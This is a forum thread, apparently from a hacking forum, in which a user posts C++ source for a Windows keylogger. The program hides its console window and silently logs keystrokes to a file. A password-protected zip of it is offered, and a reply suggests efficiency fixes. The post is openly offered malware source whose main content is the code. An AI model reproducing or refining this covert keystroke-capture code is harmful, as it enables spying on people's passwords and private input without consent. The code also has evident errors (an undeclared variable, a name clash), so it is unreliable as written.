• XSS.stack #1 – первый литературный журнал от юзеров форума

Basic KeyLogger c++ source code

spidermoon77

floppy-диск
Пользователь
Регистрация
22.05.2023
Сообщения
6
Реакции
2
A basic keylogger

Код:
#include <Windows.h>
#include <iostream>
#include <fstream>

using namespace std;

string key = "";

void log (string input) {
    // write to log
    fstream Log;
    Log.open("log.txt", fstream::app);
    if (Log.is_open()) {
        log<<input;
        log.close();
    }
}

bool specialChars(int key) {
    switch (key) {
        case VK_SPACE:
            sKey = " ";
            return true;
        case VK_RETURN:
            sKey="[ENTER]";
            return true;
        case VK_SHIFT:
            sKey = "[SHIFT]";
            return true;
        case VK_BACK:
            sKey = "[BACKSPACE]";
            return true;
        case VK_RBUTTON:
            sKey = "[RCLICK]";
            return true;
        case VK_CAPITAL:
            sKey = "[CAPSLOCK]";
            return true;
        case VK_TAB:
            sKey="[TAB]";
            return true;
        case VK_UP:
            sKey = "[UP]";
            return true;
        case VK_DOWN:
            sKey = "[DOWN]";
            return true;
        case VK_LEFT:
            sKey = "[LEFT]";
            return true;
        case VK_RIGHT:
            sKey = "[RIGHT]";
            return true;
        case VK_CONTROL:
            sKey="[CTRL]";
            return true;
        case VK_MENU:
            sKey="[ALT]";
            return true;
        default:
            return false;
        }
}

int main() {
    // Hide the window
    HWND hWnd = GetConsoleWindow();
    ShowWindow(hWnd, SW_HIDE);
    while (true) {
        for (int KEY = 8; KEY < 191; KEY++) {
            if (GetAsyncKeyState(KEY) == -32767) {
                if (!specialChars(KEY)) {
                    fstream Log;
                    Log.open("log.txt", fstream::app);
                    if (Log.is_open()) {
                        Log<<char(KEY);
                        log.close();
                    };
                } else {
                    log(sKey);
                }
            }
        }
    }
}

logged keys
ABCDEFGHIJKLMNOPQRSTUVWXYZ
0123456789
[SHIFT][CAPSLOCK][TAB][ALT][CTRL][BACKSPACE][ENTER][SPACE][UP][DOWN]

Notes
-Logs only basic keys.
-Log file can be found in the same folder as the keylogger
-Keylogger runs in the background

ZIP PASSWORD: nexuz
 

Вложения

  • keylogger.zip
    19.5 КБ · Просмотры: 25
fstream Log;
Log.open("log.txt", fstream::app);
if (Log.is_open()) {
Log<<char(KEY); log.close();
Log.close();
}
There is no point in opening and closing a file to record one key. Open file descriptor once on start and close on termination.

for (int KEY = 8; KEY < 191; KEY++) {
if (GetAsyncKeyState(KEY) == -32767) {
It's also not recommended to call a function in a nested loop. Use the GetKeyboardState function instead.
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх